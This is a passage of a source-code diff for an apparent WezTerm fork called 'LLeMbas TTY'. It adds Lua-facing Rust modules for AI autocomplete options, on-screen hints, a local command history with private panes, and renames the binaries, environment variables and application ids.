//! LLeMbas TTY: `wezterm.llembas`, through which the Lua layer asks the
//! terminal for what only the terminal can draw. The layer looks for each
//! function before calling it, so a function added here later is simply not
//! used by an older layer, and a layer run where this is missing (the mux
//! server, the tests) does without.
use super::state::{self, Color, Colors, Options};
use crate::scripting::guiwin::GuiWin;
use crate::termwindow::TermWindowNotif;
use config::lua::get_or_create_sub_module;
use mlua::{Lua, Table, UserDataRef, Value};
use mux::{Mux, MuxNotification};
use mux_lua::MuxPane;
use std::time::Duration;
use termwiz::color::ColorAttribute;
use window::WindowOps;
/// A colour as the layer gives it: a number of the palette, `'#rrggbb'`, or
/// false for none. Anything else is none: the layer has checked it already.
fn color(value: Value) -> Color {
match value {
Value::Integer(n) if (0..=255).contains(&n) => Some(ColorAttribute::PaletteIndex(n as u8)),
Value::Number(n) if n >= 0.0 && n <= 255.0 => Some(ColorAttribute::PaletteIndex(n as u8)),
Value::String(s) => {
let s = s.to_str().ok()?;
let hex = s.strip_prefix('#')?;
if hex.len() != 6 || !hex.is_ascii() {
return None;
}
let r = u8::from_str_radix(&hex[0..2], 16).ok()?;
let g = u8::from_str_radix(&hex[2..4], 16).ok()?;
let b = u8::from_str_radix(&hex[4..6], 16).ok()?;
Some(ColorAttribute::TrueColorWithDefaultFallback(
(r, g, b).into(),
))
}
_ => None,
}
}
fn colors(table: Option<Table>) -> mlua::Result<Colors> {
let table = match table {
Some(table) => table,
None => return Ok(Colors::default()),
};
Ok(Colors {
prefix: color(table.get("prefix")?),
ghost: color(table.get("ghost")?),
notice: color(table.get("notice")?),
command: color(table.get("command")?),
unknown: color(table.get("unknown")?),
option: color(table.get("option")?),
string: color(table.get("string")?),
variable: color(table.get("variable")?),
operator: color(table.get("operator")?),
comment: color(table.get("comment")?),
path: color(table.get("path")?),
})
}
pub fn register(lua: &Lua) -> anyhow::Result<()> {
let module = get_or_create_sub_module(lua, "llembas")?;
// configure { suggestions =, highlight =, ai_complete =, cli =, ac_model =,
// ac_timeout_ms =, history =, history_max =, colors = { … } }
module.set(
"configure",
lua.create_function(|_, table: Table| {
let options = Options {
suggestions: table
.get::<_, Option<bool>>("suggestions")?
.unwrap_or(false),
highlight: table.get::<_, Option<bool>>("highlight")?.unwrap_or(false),
ai_complete: table
.get::<_, Option<bool>>("ai_complete")?
.unwrap_or(false),
cli: table.get::<_, Option<String>>("cli")?.unwrap_or_default(),
ac_model: table
.get::<_, Option<String>>("ac_model")?
.unwrap_or_default()
.chars()
.filter(|c| !c.is_control())
.take(128)
.collect(),
ac_timeout_ms: table.get::<_, Option<u64>>("ac_timeout_ms")?.unwrap_or(0),
ac_debug: table.get::<_, Option<bool>>("ac_debug")?.unwrap_or(false),
input_mark: table.get::<_, Option<bool>>("input_mark")?.unwrap_or(false),
history: table.get::<_, Option<bool>>("history")?.unwrap_or(false),
history_max: table.get::<_, Option<usize>>("history_max")?.unwrap_or(0),
colors: colors(table.get::<_, Option<Table>>("colors")?)?,
};
let old = state::options();
if options != old {
// another model, another engine: a line may be asked about
// again; and the first answer after such a change may take
// longer (the model may have to be loaded)
let cold = (options.ai_complete && !old.ai_complete)
|| options.ac_model != old.ac_model
|| options.cli != old.cli;
super::complete::forget_answers(cold);
state::set_options(options);
}
Ok(())
})?,
)?;
// ask_line(window, pane, { prefix =, event = }): turn the pane's line into
// the ask line, or back when it is one already. The line the person sends
// comes back as the event, with the window, the pane and the line.
module.set(
"ask_line",
lua.create_function(
|_, (window, pane, table): (UserDataRef<GuiWin>, UserDataRef<MuxPane>, Table)| {
let args = super::ask::AskArgs {
prefix: table
.get::<_, Option<String>>("prefix")?
.unwrap_or_default(),
event: table.get::<_, String>("event")?,
};
let pane_id = pane.0;
window
.window
.notify(TermWindowNotif::Apply(Box::new(move |term_window| {
super::ask::toggle(term_window, pane_id, args);
})));
Ok(true)
},
)?,
)?;
// notice(pane, text): a word for the person at the cursor's row of the
// pane, for a moment. It takes no key and nothing has to be dismissed.
module.set(
"notice",
lua.create_function(|_, (pane, text): (UserDataRef<MuxPane>, String)| {
let pane_id = pane.0;
let text: String = text.chars().filter(|c| !c.is_control()).take(200).collect();
state::set_notice(pane_id, text);
Mux::notify_from_any_thread(MuxNotification::PaneOutput(pane_id));
// and the pane is drawn again when its time is over
promise::spawn::spawn(async move {
smol::Timer::after(state::NOTICE_TIME + Duration::from_millis(50)).await;
state::changed();
Mux::notify_from_any_thread(MuxNotification::PaneOutput(pane_id));
})
.detach();
Ok(true)
})?,
)?;
// hint(pane id, text or nil, gentle, source pane id or nil): a word that
// stands at the cursor's row of the pane until it is taken away (nil), or
// until the pane it tells of (the display) is gone. Drawn, never written.
module.set(
"hint",
lua.create_function(
|_,
(pane_id, text, gentle, source): (
usize,
Option<String>,
Option<bool>,
Option<usize>,
)| {
let text: String = text
.unwrap_or_default()
.chars()
.filter(|c| !c.is_control())
.take(200)
.collect();
let hint = if text.trim().is_empty() {
None
} else {
Some(state::Hint {
text,
gentle: gentle.unwrap_or(false),
source,
})
};
state::set_hint(pane_id, hint);
if Mux::try_get().is_some() {
Mux::notify_from_any_thread(MuxNotification::PaneOutput(pane_id));
}
Ok(true)
},
)?,
)?;
// status(pane id, id or nil, seq, state, directory): where the shell of a
// pane stands, as its status record said; nil when the layer no longer
// follows it. With it the terminal writes the pane's input mark.
module.set(
"status",
lua.create_function(
|_,
(pane_id, id, seq, state_name, dir): (
usize,
Option<String>,
Option<u64>,
Option<String>,
Option<String>,
)| {
let status = match (id, seq, dir) {
(Some(id), Some(seq), Some(dir))
if llembas_line::mark::valid_id(&id) && dir.starts_with('/') =>
{
Some(state::PaneStatus {
id,
seq,
prompt: state_name.as_deref() == Some("prompt"),
dir: dir.into(),
})
}
_ => None,
};
state::set_status(pane_id, status);
if Mux::try_get().is_some() {
Mux::notify_from_any_thread(MuxNotification::PaneOutput(pane_id));
}
Ok(true)
},
)?,
)?;
// complete_status(): the terminal's side of the AI's autocomplete in
// words - the engine and the model it would use, the last attempts and
// what each gave. Lines of plain text.
module.set(
"complete_status",
lua.create_function(|_, _: ()| Ok(super::complete::status()))?,
)?;
// data_dir(): the terminal's own data directory, the person's alone.
module.set(
"data_dir",
lua.create_function(|_, _: ()| Ok(config::DATA_DIR.to_string_lossy().into_owned()))?,
)?;
// set_private(pane id, on): a private pane's commands are not remembered
// and nothing of it is sent to LLeMbas for a completion.
module.set(
"set_private",
lua.create_function(|_, (pane_id, on): (usize, bool)| {
state::set_private(pane_id, on);
Ok(())
})?,
)?;
// command_ended(pane, exit status or -1, directory): the shell said that a
// command ended in this pane. The terminal remembers it for its suggestions.
module.set(
"command_ended",
lua.create_function(
|_, (pane, exit, cwd): (UserDataRef<MuxPane>, i64, Option<String>)| {
let exit = if (0..=255).contains(&exit) {
exit as i32
} else {
llembas_line::history::NO_EXIT
};
let cwd: String = cwd
.unwrap_or_default()
.chars()
.filter(|c| !c.is_control())
.take(1024)
.collect();
super::record::command_ended(pane.0, exit, cwd);
Ok(())
},
)?,
)?;
// clear_history(): forget every command the terminal remembered.
module.set(
"clear_history",
lua.create_function(|_, _: ()| {
state::history_clear();
Ok(())
})?,
)?;
Ok(())
}
+29
View File
@@ -0,0 +1,29 @@
//! LLeMbas TTY: the part of LLeMbas that the terminal itself draws.
//!
//! The LLeMbas layer is Lua (`llembas/lua/`, built in by `config::llembas`).
//! What Lua cannot do is draw on a pane or take its keys, and that is here:
//!
//! - [`ask`]: the ask line, in place of the shell's own line;
//! - [`decorate`]: what is drawn on the shell's input line when a pane is
//! painted - the suggestion after the cursor, the colours of the command
//! line, a word from the terminal - and the key that takes a suggestion;
//! - [`record`]: remembering a command that ran, for the suggestions;
//! - [`complete`]: asking LLeMbas for the rest of a line;
//! - [`lua`]: `wezterm.llembas`, through which the layer asks for it;
//! - [`state`]: what the layer said is on, and what outlives one pane.
//!
//! What is decided about a line of text (the editor, the input line as read
//! from the screen, history, suggestions, colours) is the crate
//! `llembas-line`, which knows nothing of a window and is where the tests
//! are. The files here are the thin part between it and the terminal.
//!
//! Nothing here starts a process, reads a pane or writes a file until the
//! layer said what is on. With nothing on (no layer, or a terminal started
//! with `--skip-config`) a pane is painted exactly as upstream paints it.
pub mod ask;
pub mod complete;
pub mod decorate;
pub mod lua;
pub mod record;
pub mod state;
+112
View File
@@ -0,0 +1,112 @@
//! LLeMbas TTY: remembering a command that ran, for the suggestions.
//!
//! The shell integration says that a command ended (the pane's status record,
//! which the layer reads). The command's text is then read from the pane's
//! own screen: the input line the shell marked. Nothing typed is followed,
//! so nothing typed while a program asked for a password can be taken: such
//! text is never on the screen.
use super::state;
use llembas_line::history::Entry;
use mux::pane::{Pane, PaneId};
use mux::Mux;
use std::sync::Arc;
use std::time::{Duration, SystemTime, UNIX_EPOCH};
use termwiz::cell::SemanticType;
use wezterm_term::{SemanticZone, StableRowIndex};
/// An input line of more rows than this is no command to remember.
const MAX_ROWS: StableRowIndex = 8;
/// The columns of a zone on one of its rows.
fn cols_for_row(zone: &SemanticZone, row: StableRowIndex) -> std::ops::Range<usize> {
if row < zone.start_y || row > zone.end_y {
0..0
} else if zone.start_y == zone.end_y {
zone.start_x.min(zone.end_x)..zone.start_x.max(zone.end_x).saturating_add(1)
} else if row == zone.end_y {
0..zone.end_x.saturating_add(1)
} else if row == zone.start_y {
zone.start_x..usize::MAX
} else {
0..usize::MAX
}
}
/// The text of a zone: its rows joined, with a line break where a row ended
/// and was not carried on by wrapping.
pub(super) fn zone_text(pane: &Arc<dyn Pane>, zone: &SemanticZone) -> String {
let (top, lines) = pane.get_lines(zone.start_y..zone.end_y + 1);
let mut text = String::new();
let mut wrapped = true;
for (i, line) in lines.iter().enumerate() {
let row = top + i as StableRowIndex;
let cols = cols_for_row(zone, row);
if cols.start >= cols.end {
continue;
}
if !wrapped && !text.is_empty() {
text.push('\n');
}
text.push_str(&line.columns_as_str(cols));
wrapped = line.last_cell_was_wrapped();
}
text.trim_end().to_string()
}
fn remember(pane_id: PaneId, exit: i32, cwd: String) {
if !state::options().history || state::is_private(pane_id) {
return;
}
let pane = match Mux::try_get().and_then(|mux| mux.get_pane(pane_id)) {
Some(pane) => pane,
None => return,
};
if pane.is_alt_screen_active() {
return;
}
let zones = match pane.get_semantic_zones() {
Ok(zones) => zones,
Err(_) => return,
};
// The command that ended is the last input line that something follows:
// its output, or the next prompt. (An input line that nothing follows is
// one still being typed.)
let mut found = None;
for (i, zone) in zones.iter().enumerate().rev() {
if zone.semantic_type == SemanticType::Input && i + 1 < zones.len() {
found = Some(*zone);
break;
}
}
let zone = match found {
Some(zone) => zone,
None => return,
};
if zone.end_y - zone.start_y >= MAX_ROWS
|| !state::first_time(pane_id, zone.start_y, zone.start_x)
{
return;
}
let command = zone_text(&pane, &zone);
let time = SystemTime::now()
.duration_since(UNIX_EPOCH)
.map(|d| d.as_secs())
.unwrap_or(0);
state::history_add(Entry {
command,
exit,
cwd,
time,
});
}
/// A command ended in this pane. Its text is read a moment later, when the
/// shell has drawn its next prompt, so that the line is seen to be complete.
pub fn command_ended(pane_id: PaneId, exit: i32, cwd: String) {
promise::spawn::spawn(async move {
smol::Timer::after(Duration::from_millis(150)).await;
remember(pane_id, exit, cwd);
})
.detach();
}
+373
View File
@@ -0,0 +1,373 @@
//! LLeMbas TTY: what the layer said is on, and what outlives one pane.
use llembas_line::history::{self, Entry, History};
use mux::pane::PaneId;
use parking_lot::Mutex;
use std::collections::{HashMap, HashSet};
use std::path::PathBuf;
use std::sync::atomic::{AtomicU64, Ordering};
use std::time::{Duration, Instant};
use termwiz::color::ColorAttribute;
use wezterm_term::StableRowIndex;
/// How long a word from the terminal stays at the cursor's row.
pub const NOTICE_TIME: Duration = Duration::from_secs(4);
/// A colour of the layer's options: `None` leaves a cell as it was.
pub type Color = Option<ColorAttribute>;
/// The colours the terminal's own drawing uses. They come from the layer's
/// options (`colors`), where each is a number of the colour scheme's palette
/// by default, so that every one follows the theme.
#[derive(Debug, Clone, PartialEq)]
pub struct Colors {
pub prefix: Color,
pub ghost: Color,
pub notice: Color,
pub command: Color,
pub unknown: Color,
pub option: Color,
pub string: Color,
pub variable: Color,
pub operator: Color,
pub comment: Color,
pub path: Color,
}
impl Default for Colors {
fn default() -> Self {
// the same as M.COLORS in llembas/lua/llembas/core.lua
let palette = |n: u8| Some(ColorAttribute::PaletteIndex(n));
Colors {
prefix: palette(6),
ghost: palette(8),
notice: palette(3),
command: palette(2),
unknown: None,
option: None,
string: palette(3),
variable: palette(6),
operator: palette(5),
comment: palette(8),
path: palette(4),
}
}
}
/// What the layer said is on. Until it says anything, nothing is: a terminal
/// started without the layer draws nothing of ours.
#[derive(Debug, Clone, Default, PartialEq)]
pub struct Options {
pub suggestions: bool,
pub highlight: bool,
pub ai_complete: bool,
/// The path of the LLeMbas CLI; empty when there is none.
pub cli: String,
/// The autocomplete model chosen in the terminal; empty for the engine's own.
pub ac_model: String,
/// How long the engine is given for a completion; 0 for the default.
pub ac_timeout_ms: u64,
/// The engine knows `--debug`: it is asked to say its decisions.
pub ac_debug: bool,
/// Write the input mark of panes whose status record is known (AI is on).
pub input_mark: bool,
pub history: bool,
pub history_max: usize,
pub colors: Colors,
}
/// The terminal's own history of commands, once it was needed.
struct Commands {
history: History,
max: usize,
}
lazy_static::lazy_static! {
static ref OPTIONS: Mutex<Options> = Mutex::new(Options::default());
/// Earlier questions of the ask line, for this run of the terminal only.
static ref QUESTIONS: Mutex<Vec<String>> = Mutex::new(Vec::new());
/// Panes the person marked private: nothing of them is remembered or sent.
static ref PRIVATE: Mutex<HashSet<PaneId>> = Mutex::new(HashSet::new());
/// A word for the person at the cursor's row of a pane, and until when.
static ref NOTICES: Mutex<HashMap<PaneId, (String, Instant)>> = Mutex::new(HashMap::new());
/// A word that stands at the cursor's row of a pane until it is taken away.
static ref HINTS: Mutex<HashMap<PaneId, Hint>> = Mutex::new(HashMap::new());
/// Where the shell of a pane stands, as its status record said.
static ref STATUS: Mutex<HashMap<PaneId, PaneStatus>> = Mutex::new(HashMap::new());
/// The input mark last written for a pane: the record's id and seq, typed.
static ref MARKS: Mutex<HashMap<PaneId, (String, u64, bool)>> = Mutex::new(HashMap::new());
static ref COMMANDS: Mutex<Option<Commands>> = Mutex::new(None);
/// Where the command last remembered for a pane stood on its screen.
static ref REMEMBERED: Mutex<HashMap<PaneId, (StableRowIndex, usize)>> =
Mutex::new(HashMap::new());
}
/// Goes up whenever something changed that what is drawn depends on and the
/// pane's own content does not show: an option, a notice, the history, an
/// answer that arrived.
static GENERATION: AtomicU64 = AtomicU64::new(0);
pub fn generation() -> u64 {
GENERATION.load(Ordering::Relaxed)
}
pub fn changed() {
GENERATION.fetch_add(1, Ordering::Relaxed);
}
pub fn options() -> Options {
OPTIONS.lock().clone()
}
pub fn set_options(options: Options) {
*OPTIONS.lock() = options;
changed();
}
pub fn questions() -> Vec<String> {
QUESTIONS.lock().clone()
}
pub fn remember_question(line: &str) {
llembas_line::editor::remember(&mut QUESTIONS.lock(), line);
}
pub fn set_private(pane_id: PaneId, on: bool) {
let mut private = PRIVATE.lock();
if on {
private.insert(pane_id);
} else {
private.remove(&pane_id);
}
drop(private);
changed();
}
pub fn is_private(pane_id: PaneId) -> bool {
PRIVATE.lock().contains(&pane_id)
}
pub fn set_notice(pane_id: PaneId, text: String) {
NOTICES
.lock()
.insert(pane_id, (text, Instant::now() + NOTICE_TIME));
changed();
}
/// The word for a pane, while its time lasts.
pub fn notice(pane_id: PaneId) -> Option<String> {
let mut notices = NOTICES.lock();
let live = match notices.get(&pane_id) {
Some((text, until)) if Instant::now() < *until => Some(text.clone()),
Some(_) => None,
None => return None,
};
if live.is_none() {
notices.remove(&pane_id);
}
live
}
/// Where the shell of a pane stands: its status record's id and seq, whether
/// it is at a prompt, and the directory the records are kept in.
#[derive(Debug, Clone, PartialEq)]
pub struct PaneStatus {
pub id: String,
pub seq: u64,
pub prompt: bool,
pub dir: PathBuf,
}
/// The layer says where a pane's shell stands, or that it no longer knows.
pub fn set_status(pane_id: PaneId, status: Option<PaneStatus>) {
let mut all = STATUS.lock();
if all.get(&pane_id) == status.as_ref() {
return;
}
match status {
Some(status) => {
if all.len() > 512 {
all.clear();
}
all.insert(pane_id, status);
}
None => {
if let Some(old) = all.remove(&pane_id) {
let _ = llembas_line::mark::remove(&old.dir, pane_id);
}
MARKS.lock().remove(&pane_id);
}
}
drop(all);
// the pane is looked at again: its input mark is of this record now
changed();
}
/// The status of a pane whose shell is at a prompt.
pub fn status_at_prompt(pane_id: PaneId) -> Option<PaneStatus> {
STATUS
.lock()
.get(&pane_id)
.filter(|status| status.prompt)
.cloned()
}
/// Write the input mark of a pane when what it says changed: whether
/// anything stands on the input line of the prompt this record is of.
pub fn mark_input(pane_id: PaneId, status: &PaneStatus, typed: bool) {
let now = (status.id.clone(), status.seq, typed);
let mut marks = MARKS.lock();
if marks.get(&pane_id) == Some(&now) {
return;
}
match llembas_line::mark::write(&status.dir, pane_id, &status.id, status.seq, typed) {
Ok(()) => {
if marks.len() > 512 {
marks.clear();
}
marks.insert(pane_id, now);
}
Err(err) => {
// no mark is no harm: LLeMbas then reads the prompt from the screen
log::debug!("LLeMbas: the input mark could not be written: {:#}", err);
marks.remove(&pane_id);
}
}
}
/// A word that stands at the cursor's row of a pane for as long as what it
/// says holds: LLeMbas waits for an answer, or a command that LLeMbas placed
/// at the prompt waits for the person. The layer sets it and takes it away.
#[derive(Debug, Clone, PartialEq)]
pub struct Hint {
pub text: String,
/// Drawn dimmed and only where nothing else is: beside what the row
/// shows, or on the empty row below. It never covers a cell that shows
/// something.
pub gentle: bool,
/// The pane whose state it tells (the display). When that pane is gone,
/// so is the hint.
pub source: Option<PaneId>,
}
/// Set the standing word of a pane, or take it away.
pub fn set_hint(pane_id: PaneId, hint: Option<Hint>) {
let mut hints = HINTS.lock();
let same = hints.get(&pane_id) == hint.as_ref();
if same {
return;
}
match hint {
Some(hint) => {
if hints.len() > 256 {
hints.clear();
}
hints.insert(pane_id, hint);
}
None => {
hints.remove(&pane_id);
}
}
drop(hints);
changed();
}
/// The standing word of a pane, while the pane it tells of is there.
pub fn hint(pane_id: PaneId) -> Option<Hint> {
let mut hints = HINTS.lock();
let hint = hints.get(&pane_id)?.clone();
if let Some(source) = hint.source {
let there = match mux::Mux::try_get() {
Some(mux) => mux.get_pane(source).is_some(),
None => false,
};
if !there {
hints.remove(&pane_id);
return None;
}
}
Some(hint)
}
/// The file of the terminal's own command history: in its own data
/// directory, the person's alone.
pub fn history_path() -> PathBuf {
config::DATA_DIR.join("command-history")
}
/// Run `f` on the history, reading the file the first time and whenever the
/// size it is kept at changed.
fn with_commands<R>(f: impl FnOnce(&mut History) -> R) -> R {
let max = OPTIONS.lock().history_max;
let mut commands = COMMANDS.lock();
let stale = match commands.as_ref() {
Some(c) => c.max != max,
None => true,
};
if stale {
let history = match history::load(&history_path(), max) {
Ok(history) => history,
Err(err) => {
log::warn!("LLeMbas: the command history could not be read: {:#}", err);
History::new(max)
}
};
*commands = Some(Commands { history, max });
}
match commands.as_mut() {
Some(c) => f(&mut c.history),
None => f(&mut History::new(0)),
}
}
/// The rest of the newest command that starts with what is typed.
pub fn history_suggest(typed: &str) -> Option<String> {
with_commands(|history| history.suggest(typed).map(|rest| rest.to_string()))
}
/// Remember a command that ran, in memory and in the file.
pub fn history_add(entry: Entry) {
let kept = with_commands(|history| {
if history.add(entry.clone()) {
history.entries().last().cloned()
} else {
None
}
});
if let Some(kept) = kept {
if let Err(err) = history::append(&history_path(), &kept) {
log::warn!(
"LLeMbas: the command history could not be written: {:#}",
err
);
}
changed();
}
}
/// Forget every command: in memory, and the file.
pub fn history_clear() {
with_commands(|history| history.clear());
if let Err(err) = history::remove(&history_path()) {
log::warn!(
"LLeMbas: the command history could not be removed: {:#}",
err
);
}
changed();
}
/// Is this the first time the command at this place of the pane's screen is
/// remembered? (The shell says once that a command ended; this guards against
/// taking the command before it a second time.)
pub fn first_time(pane_id: PaneId, row: StableRowIndex, col: usize) -> bool {
let mut remembered = REMEMBERED.lock();
if remembered.get(&pane_id) == Some(&(row, col)) {
return false;
}
if remembered.len() > 512 {
remembered.clear();
}
remembered.insert(pane_id, (row, col));
true
}
+14 -5
View File
@@ -41,6 +41,8 @@ mod download;
mod frontend;
mod glyphcache;
mod inputmap;
// LLeMbas TTY: what the terminal itself draws for the LLeMbas layer
mod llembas;
mod overlay;
mod quad;
mod renderstate;
@@ -66,9 +68,11 @@ pub use selection::SelectionMode;
pub use termwindow::{set_window_class, set_window_position, TermWindow, ICON_DATA};
#[derive(Debug, Parser)]
// LLeMbas TTY: its own name and version
#[command(
about = "Wez's Terminal Emulator\nhttp://github.com/wezterm/wezterm",
version = config::wezterm_version()
name = "llembas-tty-gui",
about = "LLeMbas TTY: a terminal with LLeMbas built in, based on Wez's Terminal Emulator\nhttp://github.com/wezterm/wezterm",
version = config::llembas_tty_long_version()
)]
struct Opt {
/// Skip loading wezterm.lua
@@ -412,7 +416,8 @@ async fn async_run_terminal_gui(
) -> anyhow::Result<()> {
let unix_socket_path =
config::RUNTIME_DIR.join(format!("gui-sock-{}", unsafe { libc::getpid() }));
std::env::set_var("WEZTERM_UNIX_SOCKET", unix_socket_path.clone());
// LLeMbas TTY: its own variable name
std::env::set_var("LLEMBAS_TTY_UNIX_SOCKET", unix_socket_path.clone());
wezterm_blob_leases::register_storage(Arc::new(
wezterm_blob_leases::simple_tempdir::SimpleTempDir::new_in(&*config::CACHE_DIR)?,
))?;
@@ -561,7 +566,8 @@ impl Publish {
"Running GUI is a different executable from us, will start a new one");
}
if vers.config_file_path
!= std::env::var_os("WEZTERM_CONFIG_FILE").map(Into::into)
// LLeMbas TTY: its own variable name
!= std::env::var_os("LLEMBAS_TTY_CONFIG_FILE").map(Into::into)
{
*self = Publish::NoConnectNoPublish;
anyhow::bail!(
@@ -1172,7 +1178,8 @@ fn run() -> anyhow::Result<()> {
{
unsafe {
::windows::Win32::UI::Shell::SetCurrentProcessExplicitAppUserModelID(
::windows::core::PCWSTR(wide_string("org.wezfurlong.wezterm").as_ptr()),
// LLeMbas TTY: its own application id
::windows::core::PCWSTR(wide_string("eu.llembas.tty").as_ptr()),
)
.unwrap();
}
@@ -1204,6 +1211,8 @@ fn run() -> anyhow::Result<()> {
// headless mux server.
config::lua::add_context_setup_func(window_funcs::register);
config::lua::add_context_setup_func(crate::scripting::register);
// LLeMbas TTY: `wezterm.llembas`, for the LLeMbas layer
config::lua::add_context_setup_func(crate::llembas::lua::register);
config::lua::add_context_setup_func(crate::stats::register);
stats::Stats::init()?;
+11
View File
@@ -333,6 +333,17 @@ impl super::TermWindow {
_ => OnlyKeyBindings::No,
};
// LLeMbas TTY: a key that no binding took may take the suggestion
// shown after the cursor (Right, End, Alt+Right); otherwise it goes on
// to the pane as always
if is_down
&& only_key_bindings == OnlyKeyBindings::No
&& crate::llembas::decorate::take_suggestion(pane, keycode, raw_modifiers)
{
context.invalidate();
return true;
}
if only_key_bindings == OnlyKeyBindings::No {
let config = &self.config;
+3 -1
View File
@@ -94,7 +94,9 @@ lazy_static::lazy_static! {
static ref POSITION: Mutex<Option<GuiPosition>> = Mutex::new(None);
}
pub const ICON_DATA: &'static [u8] = include_bytes!("../../../assets/icon/terminal.png");
// LLeMbas TTY: its own window icon (128x128 RGBA PNG, as upstream's is)
pub const ICON_DATA: &'static [u8] =
include_bytes!("../../../llembas/packaging/icons/eu.llembas.tty-128.png");
pub fn set_window_position(pos: GuiPosition) {
POSITION.lock().unwrap().replace(pos);
+9 -1
View File
@@ -565,7 +565,15 @@ impl crate::TermWindow {
}
}
pos.pane.with_lines_mut(stable_range.clone(), &mut render);
// LLeMbas TTY: the pane's lines go to the painter through what the
// terminal draws on the shell's input line (a suggestion, colours);
// with none of that on, this is the pane's own with_lines_mut
crate::llembas::decorate::with_lines_mut(
&pos.pane,
pos.is_active,
stable_range.clone(),
&mut render,
);
if let Some(error) = render.error.take() {
return Err(error).context("error while calling with_lines_mut");
}
@@ -868,7 +868,8 @@ impl SessionHandler {
codec_vers: CODEC_VERSION,
version_string: config::wezterm_version().to_owned(),
executable_path,
config_file_path: std::env::var_os("WEZTERM_CONFIG_FILE")
// LLeMbas TTY: its own variable name
config_file_path: std::env::var_os("LLEMBAS_TTY_CONFIG_FILE")
.map(Into::into),
})))
}
+6
View File
@@ -8,6 +8,12 @@ publish = false
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
# LLeMbas TTY: its own binary name, so that it installs beside WezTerm.
# The package keeps upstream's name.
[[bin]]
name = "llembas-tty-mux-server"
path = "src/main.rs"
[dependencies]
anyhow.workspace = true
async_ossl.workspace = true
+9 -5
View File
@@ -15,9 +15,11 @@ use wezterm_mux_server_impl::update_mux_domains_for_server;
mod daemonize;
#[derive(Debug, Parser)]
// LLeMbas TTY: its own name and version
#[command(
about = "Wez's Terminal Emulator\nhttp://github.com/wezterm/wezterm",
version = config::wezterm_version(),
name = "llembas-tty-mux-server",
about = "LLeMbas TTY: a terminal with LLeMbas built in, based on Wez's Terminal Emulator\nhttp://github.com/wezterm/wezterm",
version = config::llembas_tty_long_version(),
trailing_var_arg = true,
)]
struct Opt {
@@ -195,8 +197,9 @@ fn run() -> anyhow::Result<()> {
"OLDPWD",
"PWD",
"SHLVL",
"WEZTERM_PANE",
"WEZTERM_UNIX_SOCKET",
// LLeMbas TTY: its own variable names
"LLEMBAS_TTY_PANE",
"LLEMBAS_TTY_UNIX_SOCKET",
"_",
] {
std::env::remove_var(name);
@@ -311,7 +314,8 @@ mod ossl;
pub fn spawn_listener() -> anyhow::Result<()> {
let config = configuration();
for unix_dom in &config.unix_domains {
std::env::set_var("WEZTERM_UNIX_SOCKET", unix_dom.socket_path());
// LLeMbas TTY: its own variable name
std::env::set_var("LLEMBAS_TTY_UNIX_SOCKET", unix_dom.socket_path());
let mut listener = wezterm_mux_server_impl::local::LocalListener::with_domain(unix_dom)?;
thread::spawn(move || {
listener.run();
+3 -2
View File
@@ -105,9 +105,10 @@ async fn show_notif_impl(notif: ToastNotification) -> Result<(), Box<dyn std::er
hints.insert("urgency", Value::U8(1 /* Normal */));
let notification = proxy
.notify(
"wezterm",
// LLeMbas TTY: its own application name and icon
"llembas-tty",
0,
"org.wezfurlong.wezterm",
"eu.llembas.tty",
&notif.title,
&notif.message,
if notif.url.is_some() {
+2 -1
View File
@@ -78,7 +78,8 @@ fn show_notif_impl(toast: TN) -> Result<(), Box<dyn std::error::Error>> {
*/
let notifier = ToastNotificationManager::CreateToastNotifierWithId(HSTRING::from(
"org.wezfurlong.wezterm",
// LLeMbas TTY: its own application id
"eu.llembas.tty",
))?;
notifier.Show(&notif)?;
+6
View File
@@ -7,6 +7,12 @@ publish = false
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
# LLeMbas TTY: its own binary name, so that it installs beside WezTerm.
# The package keeps upstream's name.
[[bin]]
name = "llembas-tty"
path = "src/main.rs"
[dependencies]
anyhow.workspace = true
chrono.workspace = true
+1 -1
View File
@@ -6,7 +6,7 @@ use wezterm_client::client::Client;
pub struct ActivatePane {
/// Specify the target pane.
/// The default is to use the current pane based on the
/// environment variable WEZTERM_PANE.
/// environment variable LLEMBAS_TTY_PANE.
#[arg(long)]
pane_id: Option<PaneId>,
}
+1 -1
View File
@@ -8,7 +8,7 @@ use wezterm_client::client::Client;
pub struct ActivatePaneDirection {
/// Specify the current pane.
/// The default is to use the current pane based on the
/// environment variable WEZTERM_PANE.
/// environment variable LLEMBAS_TTY_PANE.
#[arg(long)]
pane_id: Option<PaneId>,
+1 -1
View File
@@ -36,7 +36,7 @@ pub struct ActivateTab {
/// Specify the current pane.
/// The default is to use the current pane based on the
/// environment variable WEZTERM_PANE.
/// environment variable LLEMBAS_TTY_PANE.
///
/// The pane is used to figure out which window
/// contains appropriate tabs
+1 -1
View File
@@ -9,7 +9,7 @@ use wezterm_client::client::Client;
pub struct CliAdjustPaneSize {
/// Specify the target pane.
/// The default is to use the current pane based on the
/// environment variable WEZTERM_PANE.
/// environment variable LLEMBAS_TTY_PANE.
#[arg(long)]
pane_id: Option<PaneId>,
/// Specify the direction to resize in
+1 -1
View File
@@ -8,7 +8,7 @@ use wezterm_client::client::Client;
pub struct GetPaneDirection {
/// Specify the current pane.
/// The default is to use the current pane based on the
/// environment variable WEZTERM_PANE.
/// environment variable LLEMBAS_TTY_PANE.
#[arg(long)]
pane_id: Option<PaneId>,
+1 -1
View File
@@ -8,7 +8,7 @@ use wezterm_term::{ScrollbackOrVisibleRowIndex, StableRowIndex};
pub struct GetText {
/// Specify the target pane.
/// The default is to use the current pane based on the
/// environment variable WEZTERM_PANE.
/// environment variable LLEMBAS_TTY_PANE.
#[arg(long)]
pane_id: Option<PaneId>,
+1 -1
View File
@@ -6,7 +6,7 @@ use wezterm_client::client::Client;
pub struct KillPane {
/// Specify the target pane.
/// The default is to use the current pane based on the
/// environment variable WEZTERM_PANE.
/// environment variable LLEMBAS_TTY_PANE.
#[arg(long)]
pane_id: Option<PaneId>,
}
+1 -1
View File
@@ -7,7 +7,7 @@ use wezterm_client::client::Client;
pub struct MovePaneToNewTab {
/// Specify the pane that should be moved.
/// The default is to use the current pane based on the
/// environment variable WEZTERM_PANE.
/// environment variable LLEMBAS_TTY_PANE.
#[arg(long)]
pane_id: Option<PaneId>,
+1 -1
View File
@@ -11,7 +11,7 @@ pub struct RenameWorkspace {
/// Specify the current pane.
/// The default is to use the current pane based on the
/// environment variable WEZTERM_PANE.
/// environment variable LLEMBAS_TTY_PANE.
///
/// The pane is used to figure out which workspace
/// should be renamed.
+1 -1
View File
@@ -8,7 +8,7 @@ use wezterm_client::client::Client;
